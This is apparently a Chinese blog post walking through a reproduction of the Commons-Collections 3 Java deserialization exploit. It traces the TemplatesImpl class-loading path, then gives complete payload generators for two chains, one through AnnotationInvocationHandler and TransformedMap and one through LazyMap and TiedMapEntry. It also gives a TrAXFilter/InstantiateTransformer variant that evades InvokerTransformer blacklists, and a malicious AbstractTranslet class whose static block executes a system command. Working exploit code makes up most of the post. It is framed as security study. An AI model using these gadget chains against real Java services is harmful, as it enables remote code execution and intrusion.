首页 > 编程语言 >java 反序列化 cc3 复现

java 反序列化 cc3 复现

时间:2024-11-14 19:57:23浏览次数:1  
标签:java cc3 org apache import 序列化 new class

版本要求:jdk版本<=8u65,common-collections版本<=3.2.1
在很多时候,Runtime会被黑名单禁用.在这些情况下,我们需要去构造自定义的类加载器来加载自定义的字节码.

类加载机制

双亲委派

这里直接粘别人的了.

实现一个自定义类加载器需要继承 ClassLoader ,同时覆盖 findClass 方法。
ClassLoader 里面有三个重要的方法 loadClass() 、findClass() 和 defineClass() 。
loadClass() 方法是加载目标类的入口,它首先会查找当前 ClassLoader 以及它的双亲里面是否已经加载了目标类,如果没有找到就会让双亲尝试加载,如果双亲都加载不了,就会调用 findClass() 让自定义加载器自己来加载目标类。ClassLoader 的 findClass() 方法是需要子类来覆盖的,不同的加载器将使用不同的逻辑来获取目标类的字节码。拿到这个字节码之后再调用 defineClass() 方法将字节码转换成 Class 对象。

想要理解java的类加载机制,最重要的是双亲委派机制.

类加载器根据全限定类名判断类是否加载,如果已经加载则直接返回已加载类。如果没有加载,类加载器会首先委托父类加载器加载此类。父类加载器也会采用相同的策略,查看是否自己已经加载该类,如果有就返回,没有就继续委托给父类进行加载,直到BootStrapClassLoader。如果父类加载器无法加载,就会交给子类进行加载,如果还不能加载就继续交给子类加载。顺序为 BootStrapClassLoader->ExtClassLoader->AppClassLoader->自定义类加载器
双亲委派机制的好处:
能够有效确保一个类的全局唯一性,当程序中出现多个限定名相同的类时,类加载器在执行加载时,始终只会加载其中的某一个类。加载的先后顺序其实确定了类被加载的优先级,如果出现了限定名相同的类,类加载器在执行加载时只会加载优先级最高的那个类。

动态加载

先来看一段代码.

package org.example;  
  
public class test {  
    {  
        System.out.println(1);  
    }  
  //实例初始化块,会在实例初始化之前被调用.
    static {  
        System.out.println(2);  
    }  
  //静态初始化块,会在类被初始化时被调用
    public test() {  
        System.out.println(3);  
    }  
  //构造函数,会在实例被初始化时调用
    public void aaa() {  
        System.out.println(4);  
    }  
    //一般函数,需要手动去调用
}

那我们看看两个例子

package org.example;  
  
public class Main {  
    public static void main(String[] args) throws Exception{  
        String url = "org.example.test";  
        Class<?> classname = Class.forName(url);  //2
        test test1 = (test)classname.newInstance();  //1 3
        test1.aaa();  //4
    }  
}

Class.forName除了会进行类加载以外,还会进行类的初始化.

package org.example;  
  
public class Main {  
    public static void main(String[] args) throws Exception{  
        String url = "org.example.test";  
        ClassLoader classloader = ClassLoader.getSystemClassLoader();  
        Class<?> clazz = classloader.loadClass(url);  
        test test1 = (test)clazz.newInstance();  //2 1 3
        test1.aaa();  //4
    }  
}

这里要解释一下为什么在loadClass的时候没有输出2,而是在后面输出的.因为loadClass仅对类进行加载而不去进行初始化,因此无法触发静态初始化块.

Templatesimpl类

这个类实现了Serializable接口,同时重写了defineClass,能够去加载自定义的类.

defineClass

Class defineClass(final byte[] b) {  
    return defineClass(null, b, 0, b.length);  
}

查找引用
image

defineTransletClasses

private void defineTransletClasses()  
    throws TransformerConfigurationException {  
  
    if (_bytecodes == null) {  
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);  
        throw new TransformerConfigurationException(err.toString());  
    }  
  
    TransletClassLoader loader = (TransletClassLoader)  
        AccessController.doPrivileged(new PrivilegedAction() {  
            public Object run() {  
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());  
            }  
        });  
  
    try {  
        final int classCount = _bytecodes.length;  
        _class = new Class[classCount];  
  
        if (classCount > 1) {  
            _auxClasses = new HashMap<>();  
        }  
  
        for (int i = 0; i < classCount; i++) {  
            _class[i] = loader.defineClass(_bytecodes[i]);  
            final Class superClass = _class[i].getSuperclass();  
  
            // Check if this is the main class  
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {  
                _transletIndex = i;  
            }  
            else {  
                _auxClasses.put(_class[i].getName(), _class[i]);  
            }  
        }  
  
        if (_transletIndex < 0) {  
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);  
            throw new TransformerConfigurationException(err.toString());  
        }  
    }  
    catch (ClassFormatError e) {  
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);  
        throw new TransformerConfigurationException(err.toString());  
    }  
    catch (LinkageError e) {  
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);  
        throw new TransformerConfigurationException(err.toString());  
    }  
}

这里面调用了defineClass,但是是私有的方法,继续查找引用
image

虽然getTransletIndex是public方法,但是这里选择getTransletInstance,原因下面说

getTransletInstance

private Translet getTransletInstance()  
    throws TransformerConfigurationException {  
    try {  
        if (_name == null) return null;  
  
        if (_class == null) defineTransletClasses();  
  
        // The translet needs to keep a reference to all its auxiliary  
        // class to prevent the GC from collecting them 
         AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();  
        translet.postInitialization();  
        translet.setTemplates(this);  
        translet.setServicesMechnism(_useServicesMechanism);  
        translet.setAllowedProtocols(_accessExternalStylesheet);  
        if (_auxClasses != null) {  
            translet.setAuxiliaryClasses(_auxClasses);  
        }  
  
        return translet;  
    }  
    catch (InstantiationException e) {  
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);  
        throw new TransformerConfigurationException(err.toString());  
    }  
    catch (IllegalAccessException e) {  
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);  
        throw new TransformerConfigurationException(err.toString());  
    }  
}

可以看到有这样一句非常的关键

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

完美的解决了在使用ClassLoader时只加载不初始化的问题.
注意这里的判断条件需要满足.

if (_name == null) return null;  
if (_class == null) defineTransletClasses();  

查找引用
image

newTransformer

public synchronized Transformer newTransformer()  
    throws TransformerConfigurationException  
{  
    TransformerImpl transformer;  
  
    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,  
        _indentNumber, _tfactory);  
  
    if (_uriResolver != null) {  
        transformer.setURIResolver(_uriResolver);  
    }  
  
    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {  
        transformer.setSecureProcessing(true);  
    }  
    return transformer;  
}

wc总算找到public方法了.

Templatesimpl利用链

那么此时就可以去归纳梳理TemplatesLmpl利用链.
在defineTranslatedClasses中存在下面的内容

if (_bytecodes == null) {  
    ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);  
    throw new TransformerConfigurationException(err.toString());  
}

看看_bytecodes是干什么的.

private byte[][] _bytecodes = null;

这个数组中就是我们想要去反序列化的值.
按照上面的逻辑去写个脚本.

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
  
public class Main {  
    public static void main(String[] args) throws Exception{  
        TemplatesImpl templatesimpl = new TemplatesImpl();  
  
        Class clazz = templatesimpl.getClass();  
        Field field = clazz.getDeclaredField("_name");  
        field.setAccessible(true);  
        field.set(templatesimpl, "test");
  
        Field field2 = clazz.getDeclaredField("_bytecodes");  
        field2.setAccessible(true);  
        byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  
        byte[][] codes = {code};  
        field2.set(templatesimpl, codes);  
  
        templatesimpl.newTransformer();  
    }  
}

一跑发现报错,老实了
image

跟进错误查看.发现是defineTransletClasses的一部分.

TransletClassLoader loader = (TransletClassLoader)  
    AccessController.doPrivileged(new PrivilegedAction() {  
        public Object run() {  
            return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());  
        }  
    });

跟进查看_tfactory

private transient TransformerFactoryImpl _tfactory = null;

发现初始化的值为null,所以会在调用getExternalExtensionsMap时出现报错.给他赋个初值.

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
  
public class Main {  
    public static void main(String[] args) throws Exception{  
        TemplatesImpl templatesimpl = new TemplatesImpl();  
  
        Class clazz = templatesimpl.getClass();  
        Field field = clazz.getDeclaredField("_name");  
        field.setAccessible(true);  
        field.set(templatesimpl, "test");  
  
        Field field2 = clazz.getDeclaredField("_bytecodes");  
        field2.setAccessible(true);  
        byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  
        byte[][] codes = {code};  
        field2.set(templatesimpl, codes);  
  
        Field field3 = clazz.getDeclaredField("_tfactory");  
        field3.setAccessible(true);  
        field3.set(templatesimpl, new TransformerFactoryImpl());  
  
        templatesimpl.newTransformer();  
    }

跑一下,又爆了个空指针的错误
image

这三处报错是层层套的关系,再分析defineTransletClasses
当运行到这里的时候,_auxClasses的值为null,因此出现了空指针错误.

else {  
    _auxClasses.put(_class[i].getName(), _class[i]);  
}

然而向上追述发现这个_auxClasses的赋值是一个无法解决的问题

final int classCount = _bytecodes.length;  
_class = new Class[classCount];  
  
if (classCount > 1) {  
    _auxClasses = new HashMap<>();  
}

如果我们只给_bytecodes这个二维字节数组添加一个一维数组,那么就必然无法给_auxClasses赋值.
尝试使用反射去修改值,则出现了更大的问题.发现这个_auxClasses是用来指定defineClass加载的默认的类的,如果赋值的话则会出现更多的报错和问题.
只能使这个分支走上面的那个if

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {  
    _transletIndex = i;  
}

断点调试发现此时superClass.getName的父类为java.lang.Object(这里的superClass指的就是恶意类test的父类).这不行,我们得让他的父类为AbstractTranslet才能够相等.改写test恶意类如下.

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
  
public class test extends AbstractTranslet {  
    static {  
        try {  
            Runtime.getRuntime().exec("calc");  
        } catch (Exception e) {  
            throw new RuntimeException("Exploit failed");  
        }  
    }  
  
    @Override  
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  
  
    }  
  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {  
  
    }  
}

idea可以自动补全没有实现的方法,有点过于nb了.
运行成功弹出计算器.虽然还有报错,但是是在执行命令以后报的,类中没有进行捕获处理.但是我们已经执行命令了,索性也不管他.

对接cc1和cc6

由于我们最后使用的是newTransformer方法,该方法的返回值为一个Transformer对象.那么此时我们就有了对接cc1和cc6的能力.对接位置进行如下修改.

ConstantTransformer ct = new ConstantTransformer(templatesimpl);  
InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);  
Transformer[] transformers = {ct, it};

后面直接跟ChainedTransformer去构造链子即可.
AnotationInvocationHandler版本的利用链如下:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templatesimpl = new TemplatesImpl();

        Class<?> clazz = templatesimpl.getClass();
        Field field = clazz.getDeclaredField("_name");
        field.setAccessible(true);
        field.set(templatesimpl, "test");

        Field field2 = clazz.getDeclaredField("_bytecodes");
        field2.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));
        byte[][] codes = {code};
        field2.set(templatesimpl, codes);

        Field field3 = clazz.getDeclaredField("_tfactory");
        field3.setAccessible(true);
        field3.set(templatesimpl, new TransformerFactoryImpl());

        ConstantTransformer ct = new ConstantTransformer(templatesimpl);
        InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);
        Transformer[] transformers = {ct, it};

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        /*
        ChainedTransformer
        */

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", ""); //解释二
        Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
        /*
        TransformedMap.decorate
        */

        Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annoConstructor = clazz1.getDeclaredConstructor(Class.class, Map.class);
        annoConstructor.setAccessible(true);
        Object poc = annoConstructor.newInstance(Target.class, decorated); //解释一
		/*
		AnnotationInvocationHandler
		*/

        serial(poc);
        unserial();
    }

    public static void serial(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
        out.writeObject(obj);
    }

    public static void unserial() throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
        in.readObject();
    }
}

LazyMap版本的利用链如下

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
  
import java.io.*;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.ExceptionPredicate;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.map.LazyMap;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
  
import java.lang.reflect.*;  
import java.util.HashMap;  
import java.util.Map;  
  
public class Main {  
    public static void main(String[] args) throws Exception{  
        TemplatesImpl templatesimpl = new TemplatesImpl();  
  
        Class<?> clazz = templatesimpl.getClass();  
        Field field = clazz.getDeclaredField("_name");  
        field.setAccessible(true);  
        field.set(templatesimpl, "test");  
  
        Field field2 = clazz.getDeclaredField("_bytecodes");  
        field2.setAccessible(true);  
        byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  
        byte[][] codes = {code};  
        field2.set(templatesimpl, codes);  
  
        Field field3 = clazz.getDeclaredField("_tfactory");  
        field3.setAccessible(true);  
        field3.set(templatesimpl, new TransformerFactoryImpl());  
  
        ConstantTransformer ct = new ConstantTransformer(templatesimpl);  
        InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);  
        Transformer[] transformers = {ct, it};  
  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
        Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);  
        TiedMapEntry tiedMapEntry = new TiedMapEntry(LazyMap.decorate(new HashMap(), new ConstantTransformer(null)), null);  
  
        HashMap<Object, Object> hashMap = new HashMap<>();  
        hashMap.put(tiedMapEntry, null);  
  
        Class clazz1 = TiedMapEntry.class;  
        Field field1 = clazz1.getDeclaredField("map");  
        field1.setAccessible(true);  
        field1.set(tiedMapEntry, lazymap);  
  
        serial(hashMap);  
        unserial();  
    }  
  
    public static void serial(Object obj) throws Exception {  
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  
        out.writeObject(obj);  
    }  
  
    public static void unserial() throws Exception {  
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  
        in.readObject();  
    }  
}

归纳总结得出利用链:
cc1出口的:

Gadget chain:
ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        AbstractInputCheckedMapDecorator.MapEntry.setValue()
            TransformedMap.checkSetValue()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                        TemplatesImpl.newTransformer()
                            TemplatesImpl.getTransletInstance()
                                TemplatesImpl.defineTransletClasses()
                                    TemplatesImpl.defineClass()
                    InvokerTransformer.transform()

cc6出口的:

Gadget chain:
ObjectInputStream.readObject()
    HashMap.readObject() 
        TiedMapEntry.hashCode()
            LazyMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                        TemplatesImpl.newTransformer()
                            TemplatesImpl.getTransletInstance()
                                TemplatesImpl.defineTransletClasses()
                                    TemplatesImpl.defineClass()
                    InvokerTransformer.transform()

绕过InvokerTransformer

然而我们对ysoserial工具进行反编译,发现他的cc2的payload不是像我们上面那样写的,而是绕过了InvokerTransformer.
查找TemplatesImplnewTransformer的用法
image

来到了TraxFilter类

TraxFilter

public TrAXFilter(Templates templates)  throws  
    TransformerConfigurationException  
{  
    _templates = templates;  
    _transformer = (TransformerImpl) templates.newTransformer();  
    _transformerHandler = new TransformerHandlerImpl(_transformer);  
    _useServicesMechanism = _transformer.useServicesMechnism();  
}

发现在构造方法中调用了templates.newTransformer();,templates的值是自己传入的.那么此时需要有一个能够触发别人构造方法多的类.

InstantiateTransformer

看transform方法

public Object transform(Object input) {
        try {
            if (!(input instanceof Class)) {
                throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
            } else {
                Constructor con = ((Class)input).getConstructor(this.iParamTypes);
                return con.newInstance(this.iArgs);
            }
        } catch (NoSuchMethodException var3) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException var4) {
            InstantiationException ex = var4;
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (IllegalAccessException var5) {
            IllegalAccessException ex = var5;
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (InvocationTargetException var6) {
            InvocationTargetException ex = var6;
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }

忽略那一堆异常处理,直接看核心逻辑

Constructor con =((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);

这就很明显了,先获取了类型为Classinput参数的构造方法,构造方法的参数列表为this.iParamTypes,然后又创建了一个该类的实例并返回.
那么我们就可以得到修改后的衔接部分如下

ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);  
InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  
Transformer[] transformers = {ct, it};

比较好理解,获取的是TrAXFilter的构造方法,给构造方法传入的参数是Object[]{templatesimpl}
至此重新给出利用InstantiateTransformer的payload
AnotationInvokationHandler的:

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import org.apache.commons.collections.functors.InstantiateTransformer;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.util.Map;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  
  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationTargetException;  
import java.util.HashMap;  
import java.util.Map;  
  
public class Main {  
    public static void main(String[] args) throws Exception{  
        TemplatesImpl templatesimpl = new TemplatesImpl();  
  
        Class<?> clazz = templatesimpl.getClass();  
        Field field = clazz.getDeclaredField("_name");  
        field.setAccessible(true);  
        field.set(templatesimpl, "test");  
  
        Field field2 = clazz.getDeclaredField("_bytecodes");  
        field2.setAccessible(true);  
        byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  
        byte[][] codes = {code};  
        field2.set(templatesimpl, codes);  
  
        Field field3 = clazz.getDeclaredField("_tfactory");  
        field3.setAccessible(true);  
        field3.set(templatesimpl, new TransformerFactoryImpl());  
  
        ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);  
        InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  
        Transformer[] transformers = {ct, it};  
  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
        /*  
        ChainedTransformer        */  
        HashMap<Object, Object> map = new HashMap<>();  
        map.put("value", ""); //解释二  
        Map decorated = TransformedMap.decorate(map, null, chainedTransformer);  
        /*  
        TransformedMap.decorate        */  
        Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor annoConstructor = clazz1.getDeclaredConstructor(Class.class, Map.class);  
        annoConstructor.setAccessible(true);  
        Object poc = annoConstructor.newInstance(Target.class, decorated); //解释一  
       /*  
       AnnotationInvocationHandler       */  
        serial(poc);  
        unserial();  
    }  
  
    public static void serial(Object obj) throws IOException {  
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  
        out.writeObject(obj);  
    }  
  
    public static void unserial() throws IOException, ClassNotFoundException {  
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  
        in.readObject();  
    }  
}

LazyMap的:

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InstantiateTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import javax.xml.transform.Templates;  
  
import java.io.*;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.map.LazyMap;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
  
import java.util.HashMap;  
import java.util.Map;  
  
public class Main {  
    public static void main(String[] args) throws Exception{  
        TemplatesImpl templatesimpl = new TemplatesImpl();  
  
        Class<?> clazz = templatesimpl.getClass();  
        Field field = clazz.getDeclaredField("_name");  
        field.setAccessible(true);  
        field.set(templatesimpl, "test");  
  
        String bytecodes = "_bytecodes";  
        Field field2 = clazz.getDeclaredField(bytecodes);  
        field2.setAccessible(true);  
        byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  
        byte[][] codes = {code};  
        field2.set(templatesimpl, codes);  
  
        Field field3 = clazz.getDeclaredField("_tfactory");  
        field3.setAccessible(true);  
        field3.set(templatesimpl, new TransformerFactoryImpl());  
  
        ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);  
        InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  
        Transformer[] transformers = {ct, it};  
  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
        Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);  
        TiedMapEntry tiedMapEntry = new TiedMapEntry(LazyMap.decorate(new HashMap(), new ConstantTransformer(null)), null);  
  
        HashMap<Object, Object> hashMap = new HashMap<>();  
        hashMap.put(tiedMapEntry, null);  
  
        Class clazz1 = TiedMapEntry.class;  
        Field field1 = clazz1.getDeclaredField("map");  
        field1.setAccessible(true);  
        field1.set(tiedMapEntry, lazymap);  
  
        serial(hashMap);  
        unserial();  
    }  
  
    public static void serial(Object obj) throws Exception {  
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  
        out.writeObject(obj);  
    }  
  
    public static void unserial() throws Exception {  
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  
        in.readObject();  
    }  
}

标签:java,cc3,org,apache,import,序列化,new,class
From: https://www.cnblogs.com/meraklbz/p/18546677

相关文章

  • java 反序列化 cc4 复现
    复现环境:jdk<=8u65,commonsCollections=4.0CommonsCollections4.x版本移除了InvokerTransformer类不再继承Serializable,导致无法序列化.但是提供了TransformingComparator为CommonsCollections3.x所没有的,又带来了新的反序列化危险.cc4的执行命令部分依然沿用cc3的TemplatesI......
  • [原创]手把手教学之前端0基础到就业——day11( Javascript )
    文章目录day11(Javascript)01Javascript①Javascript是什么②JavaScript组成③Javascript的书写位置1.行内式(不推荐)2.内部位置使用(内嵌式)3.外部位置使用(外链式)02变量1.什么是变量2.定义变量及赋值3.注意事项4.命名规范03输入和输出1)输出形式1......
  • java API
     API(ApplicationProgrammingInterface)是指应用程序的编程接口。字符串类Java中定义了3个封装字符串的类,分别是String类、StringBuffer类、StringBuilder类,它们位于Java.lang包中,并提供了一系列操作字符串的方法,这些方法不需要导包就可以直接使用。1.1String的初始化......
  • python+vue基于django/flask新农村综合风貌展示平台java+nodejs+php-计算机毕业设计
    目录技术栈和环境说明具体实现截图预期达到的目标系统设计详细视频演示技术路线解决的思路性能/安全/负载方面可行性分析论证python-flask核心代码部分展示python-django核心代码部分展示研究方法感恩大学老师和同学源码获取技术栈和环境说明本系统以Python开发语言......
  • java的算法-余弦相似度
    背景:做过财务系统的小伙伴们都知道,财务系统会有一个自动计费的算法,这个算法依赖于计费模板,之前的同事呢把计费公式乱写(导致很多重复的公式),虽然计费名称不一样但是计费公式却是一样的,今天就写一个算法来计算公式代码之间的相似度publicstaticvoidmain(String[]args){......
  • java学习记录06
    正则表达式匹配规则对于正则表达式来说,它只能精确匹配字符串。例如:正则表达式“abc",只能匹配”abc",不能匹配“ab","Abc","abcd"等其他字符串。如果想匹配非ASCII字符,例如中文,那么就用\u####的十六进制表示,例如:a\u548cc匹配的是字符串"a和c",中文字符和的Unicode编码是548c......
  • java学习记录05
    Object类通用方法Object类是所有类的超类。如果在类声明中没有使用extends关键字明确指定超类,那么默认的超类就是Object类。这就意味着所有的对象(包括数组)都实现了该类的方法。Object的所有方法native表示这个方法的实现是由其他语言(例如C或C++)编写的,它并不在Java源代码中......
  • 深入理解 Kubernetes 中的 Service、Ingress 和 NginxIngress:如何配置多个域名访问 Ja
    个人名片......
  • Java方法(四)
    设计方法原则:本意为功能块,是实现某个功能语句块的结合,设计方法时保持原子性(一个方法完成一个功能)publicclassoperator{publicstaticvoidmain(String[]args){intsum=add(1,3);System.out.println(sum);}//加法publicstaticint......
  • java类加载中的双亲委派机制
    ​ 双亲委派机制的优点: 同样的类不会被重复加载。 一、概述:类加载器:类加载器用于加载 .class字节码文件到内存中(并为每个.class字节码文件生成 Class对象)。 二、四种类加载器介绍:​编辑  2.1.启动类加载器(BootstrapClassLoader): 用于加载jdk的核......